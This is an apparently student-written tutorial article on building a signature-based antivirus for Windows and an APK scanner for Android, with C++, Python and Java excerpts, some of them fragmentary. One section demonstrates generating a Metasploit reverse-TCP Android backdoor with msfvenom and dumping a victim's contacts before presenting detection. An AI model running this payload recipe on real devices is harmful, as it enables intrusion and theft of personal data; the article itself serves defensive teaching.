Click here to Skip to main content
14,924,889 members
Articles / Mobile Apps / Android
Posted 4 Apr 2017


29 bookmarked

CyberGod - An Antivirus in C++ for Windows and Android(Java)

Rate me:
Please Sign up or sign in to vote.
3.32/5 (17 votes)
18 Oct 2017GPL38 min read
CyberGod KSGMPRH is an open source antivirus which is designed to work under Windows operating system. It comes with a DOS Engine helping developers to customize the anti-virus engine as they please.


In this article, I will share my personal experience as a student (with regards to how I programmed the anti-virus), and will also explain how it was implemented, what it does and what a person can do with it, etc.

The Repository is the github repository where you can find the source code for the entire application which is programmed in C++. You may find two engines there. One is the DOS-ENGINE and the other is the GUI-ENGINE. I will clearly explain how DOS engine is implemented. With the help of DOS engine, you can create your own GUI and also customize it as you like.

Tools Which Will Be Helpful for Analysis of Malware

  1. CFF Explorer:
  2. PEStudio:

My Malware Detection Techniques


First of all, I will try to explain the difference between hashing and encryption. Encryption is a two way process in which a file or a key can be encrypted (making it unreadable) and can also be decrypted by getting back its original data by using a key (which will be the same for both encryption and decryption in case the encryption process is symmetric). But, Hashes are quite different from that, when an input file/key is submitted, it coverts the data irrespective of the size into a fixed length of key which will be called as a hash. This hashing is unique, even if there is a minor change in data, the generated output will be different.

In our application, we are going to utilize MD5 hashing algorithm.

Example of MD5 hashing:

Plain-text: HASH
Output: 50b7748612b28db487d115f220bb77ab

Plain-text: Hash
Output: fae8a9257e154175da4193dbf6552ef6

You see that the two plain texts are HASH and Hash, both are quite similar words, but there is a casing difference. You can find that both hashes are entirely different. Similarly, hashes can be calculated for the files too.

Packed Executables

In olden days, due to bandwidth problems, programmers used several compression algorithms called packers. Packers are like wrappers for the executable when the executable which is packed gets executed, then the wrapper program which is present in the beginning of the program will get executed first and it will decrypt the remaining executable in one of the three ways listed below:

  1. Once the executable gets executed, then the packer gets executed and decrypts the remaining executable.
  2. The packer will unpack only the function which is needed to be executed.
  3. The packer will unpack the executable on a particular day and time (strange but true).

The commonly used and the most stable packer used is UPX:

Characteristics of an Executable Which is Packed

  1. The hash of the packed executable will differ from the hash of the unpacked executable.
  2. The packed executables will contain less strings which completely hides the important strings present in it.


Some valuable information can be obtained from the strings of the executable which are not packed. They may include function name it is calling, etc. You may see the difference here.

Image 1

Strings can be analyzed from the executable using or CyberGod KSGMPRH has its open-source alternative

So known hashes, packers and unique valuable strings present in the executable are the three rules for our scanner (Note: The project currently has 106 C++ files and I cannot paste them all here).

bool can_scan = false;
				//This consists of current path
				malwares Path = wide_char_to_wide_string(current_path);
				boost::filesystem::path p = { Path };
				// we got the extension of the file
				std::string extension = p.extension().string();
				// if boost scan enabled then it 
				// ignores some uncommon extensions like .txt etc.,
				if (return_boost_scan_status() == true)
					if (check_extensions.is_common_extension(extension) == true) 
					can_scan = true;
				// If boost is enabled and the extension is ok 
				// then scan and if boost is disabled then scan
				if (can_scan == true || return_boost_scan_status() == false)
					if (check_extensions.is_common_extension(extension) == true)
						// Increments the scanned file count
						std::cout << "File: " << Path 
						<< "\n" << "extension: 
						" << extension << "\n";
						// md5 hash of the file is stored here
						std::string hash = calculate_md5
						std::cout << "Hash: " 
						<< hash << "\n";
						// Rule 1
						// checks in the database whether the hash 
						// matches or not and adds to the list
						if (check_in_database(hash) == true)
							std::cout << "\nHash Malicious Executable" 
							<< Path << "\n";
							(Path, "Suspicious[IDENTIFIED] executables");
						// Rule 2
						// Checks whether the executable is packed with UPX or not
						if (is_upx(Path))
							std::cout << "\nMalicious 
							Executable" << Path << "\n";
							(Path, "Suspicious[PACKED] executables");
						// Rule 3
						// Checks whether the string matches in the exe
						if (extension == ".exe")
							if (is_string_present(0, Path))
								std::cout << "\nMalicious Executable";
								(Path, "Suspicious Semi-Declared");
								int a;
								std::cin >> a;
						std::cout << "\nFiles scanned " 
						<< return_file_count() << "\n";
						std::cout << "Scheduling this path\n";

This piece of code will first check whether the hash is present in the database and if the hash is present in the database, then it will mark the location of the file as malicious, else it will check whether the file is packed with UPX. If it is packed with UPX, then it will mark the file as suspicious and will subject the file to further analysis. If the strings are present in the database, then it will mark the file as the executable.


All the files which are packed are not malicious. They may be goodware too which could have packed to reduce the executable size and reduce the bandwidth.

Some malware authors use dual packing:

  1. Packing with their own packers first
  2. Then packing with the famous packing algorithm

So detecting all the packers and analyzing the executable is not possible unless I have a huge team, so we are going to use VirusTotal's database for analyzing the packed executables.

VirusTotal API is currently available only for Python and PHP. Even in Python, it uses requests (which is a third party library). What I did is I have converted the Third Party Python API for VirusTotal to its native Urllib API. You need VirusTotal API key and it is easy and free to get one! by visiting the website.

import urllib.parse
import urllib.request
import time

class VirusTotal:
    __url = ''
    __result = ''
    __md5 = ''
    def __init__(self,md5):
        params = {'apikey': self.__apiKey,
                  'resource': md5}
        print('accessing virus total database.....')
        parameters = urllib.parse.urlencode(params)
        req = urllib.request.Request(self.__url, parameters.encode('utf-8'))
        response = urllib.request.urlopen(req)
        the_page =
        self.__result = the_page.decode('utf-8')
        self.__md5 = md5
        print('result stored as '+md5+".json")
        print("waiting for another process...")
        time.sleep(20) # Must sleep for 20 seconds
    def create_json(self):
        file = open(self.__md5+'.json',"w")

This program which is programmed in Python does not require any dependencies to third party libraries at all, so we can embed it into our C++ application. The function will provide the detailed report for the suspicious packed file. Finally, after scanning, the result will be stored in a neat and clean HTML file like this:

Image 2

Each file result is stored in a JSON file which comprises a scan report of 61 Scan Engines.

How the Scanning Occurs

The scanning is not scheduled like regular scan engines which uses FCFS algorithm for scanning,_first-served.

Instead, it uses Priority Scheduling algorithm like it gives priority for executables to text files.

You can find more usage of DOS engine here.


You may find how to use the executable there. Pre-built executables are available in the releases section of github.

We also have the official GUI, but it is still under development and it looks like this:

Image 3

Three Primary Sources for the Spread of Malware

  1. The Internet
  2. Email
  3. Removable devices like usb drives, sd cards, etc.

At present, our antivirus does not offer any realtime protection and it is an on demand scanner. So we are for now primarily concentrating on Removable media devices.

Removable Devices and Spread of Malware

When a USB device is infected from a trojan or some other variant of spreadable threat, it primarily concentrates on two ways for further infection to some other computer by its execution.

  1. Auto-executing itself via an autorun.inf file
  2. Disguising itself as a user file, setting up the trap for the user to execute it


autorun.inf is nothing but a file which is used to auto-execute the components like an executable.

When a trojan infects a removable drive, it adds the autorun.inf file in the executable so that whenever the executable is plugged into some other devices, then the executable gets autoexecuted if the feature is available.

Here is how an autorun.inf file will look like:


When the removable drive with this autorun file is plugged in, a file named bHgZZxtyu.exe will get executed and will cause infection to the computer.

Even though we remove the malware in the pen-drive, it gets executed and stored its copy in some place in your PC.

Here is how the program solves the solution.

Working of the Program

In order to overcome this kind of infection, first our program will check whether a removable drive contains an autorun.inf file or not. If autorun.inf file is present, then it will get the location, extension and md5 hash of the executable (which may have executed already).

Then it scans the whole computer to find if the executable has made its copy or not. The algorithm scans only EXE and will skip other files thereby saving your time. If the executable is found, it will inform to you.

[BACKDOOR] Finding Metasploit Payload Emdedded APK in Android


Metasploit is a popular penetration testing framework which is used to create payloads, bruteforcing, huge database of exploits, etc. It is the most popular and widely used framework to create backdoors. A favorite tool for Hackers and Script Kiddies.

This is one of the widely spread and the most successful threats for Android. I will however show you a short demonstration of how metasploit works.

I am using Kali Linux Rolling, you may use whatever linux distribution you like.

Step 1

Get your IP address using ifconfig [Note: I have not port-forwarded my router for several valid reasons so this backdoor works only on local network]


Step 2


msfvenom is a combination of Metasploit Payload and Metasploit executable encoder. msfvenom is used to generate the payload for Android.

Now, we will recreate a TCP client using the following command:

msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk

Here, -p stands for payload.

Now, our backdoor client is created as APP.apk.

Image 6

Step 3

Create our TCP server and wait for some times while the user installs the application and for the client to connect.

Once it is connected, we will dump their contacts into our system. We can do anything I will show contacts as an example.

Image 7

And here are our contacts which we have dumped:

Image 8

Do You See How Successful the Backdoor is? Here is the Solution

Mostly these apks are often emdedded with other famous apk's like cracked games with unlimited ammo/ lifespan for the user, tricking the user to install the application.

How to Find whether the apk is Embedded with One of the Payloads or Not?

One way to find is by reverse engineering the apk and analysing the classes.dex file which will contain the metsploit strings in them.

So we will write a program to scan the Android's storage for apk files which is not installed and if an apk is found, the program will unpack the apk and scans the dex file to check if there are any metasploit traces or not.

As we discussed above, the use of strings which provides valuable information for malware analysis, here is a program which is used to extract the strings from the dex file:

 * @author Visweswaran This class is used to find whether the given stringsToFind
 present in a file
public class Strings {

    String fileLocation = "";
    ArrayList<string> stringsToFind;
    HashSet<string> stringsInFile;
    boolean getStringsInFile = false;
     * This constructor assists in getting the strings present in the file
     * @param location Pass the location of the file
    public Strings(String location)
        this.fileLocation = location;
        this.stringsInFile = new HashSet<string>();
        this.getStringsInFile = true;
     * This constructor is used to find whether the strings are present in the file
     * @param location Pass the fileLocation of the file
     * @param strings Pass the strings to be found
    public Strings(String location, ArrayList<string> strings) {
        this.fileLocation = location;
        this.stringsToFind = strings;

     * Checking For Strings:
     * This method is used to read the file line by line, and will pass the line
 to "isStringsPresent" method which will return true if the specified
 stringsToFind is present in line or not. If it returns true the method will
     * confirm that the String is present in the file, else will pass the
     * remaining lines
     * @return will return true if UPX stringsToFind are present in the file
    public boolean Scanfile() {
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) {
                if (isStringsPresent(line)) {
                        return true; // If the String is present in the line
                        // the method will return true
        } catch (IOException e) {
            // do something....
        } catch (Exception e) {
            // do something....
        } finally {
        return false;

     * This method is used to find whether a sub-string is present in the string or not.
     * @param line The String in which the sub string is to be found
     * @return will return true if it is found.
    private boolean isStringsPresent(String line) {
        for (String string : stringsToFind) {
            if (line.contains(string)) {
                return true;
        return false;
     * This method will return the list of Strings present in the file
     * @return will return the strings present in the file
    public HashSet<string> getStrings()
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) 
                // a pattern which matched a-z, 0-9 this will be the more common strings
                Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line);
                    String asciiString =;
        } catch (IOException e) {
            // do something...
        } catch (Exception e) {
            // do something....
        } finally {
        return this.stringsInFile;

and a method to check if malicious strings are present:

// This method is used to check for malicious strings are present
private boolean isStringPresent()
    BufferedReader br;
        ZipFile zipFile = new ZipFile(this.fileLocation);
        Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries();
            //System.out.println("Scanning the zip file");
            ZipEntry zipEntry = zipEntries.nextElement();
            String zipFileName = zipEntry.getName();
            // Once the classes.dex file is found, read and check whether the string is present
                //System.out.println("clsses.dex found!");
                InputStream stream = zipFile.getInputStream(zipEntry);
                br = new BufferedReader(new InputStreamReader(stream));
                String stringsInLine;
                while((stringsInLine = br.readLine()) != null)
                    // check for malicious strings here
                    for(String key : MaliciousStrings.maliciousStrings.keySet())
                        String maliciousString = new StringBuffer(key).reverse().toString();
                            this.threatName = MaliciousStrings.maliciousStrings.get(key);
                            // close everything to free up the memory
                            return true;
    } catch (IOException ex) {
        // do some android specific things to log the message
        return false;
    catch (IllegalStateException e){
        return false;
    catch(Exception e){}

    return false;

And finally the detections are displayed in a simple interface:


This Android application is also open source

Download the application from here:

Thank you for reading!


It is GPL version 2 not 3, but I can't find it here.


This article, along with any associated source code and files, is licensed under The GNU General Public License (GPLv3)


About the Author

Comments and Discussions

QuestionRegarding IDE Pin
arcdon7-Oct-19 18:52
Memberarcdon7-Oct-19 18:52 
Question[My vote of 1] Security is tough Pin
feanorgem20-Oct-17 5:58
Memberfeanorgem20-Oct-17 5:58 
AnswerRe: [My vote of 1] Security is tough Pin
VISWESWARAN199820-Oct-17 6:08
professionalVISWESWARAN199820-Oct-17 6:08 
GeneralMy vote of 5 Pin
Doom For Ever21-Apr-17 8:28
professionalDoom For Ever21-Apr-17 8:28 
PraiseRe: My vote of 5 Pin
VISWESWARAN199821-Apr-17 8:34
professionalVISWESWARAN199821-Apr-17 8:34 
GeneralRe: My vote of 5 Pin
Doom For Ever21-Apr-17 8:49
professionalDoom For Ever21-Apr-17 8:49 
PraiseNice work Pin
KBZX50005-Apr-17 1:54
MemberKBZX50005-Apr-17 1:54 
PraiseRe: Nice work Pin
VISWESWARAN19985-Apr-17 3:32
professionalVISWESWARAN19985-Apr-17 3:32 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.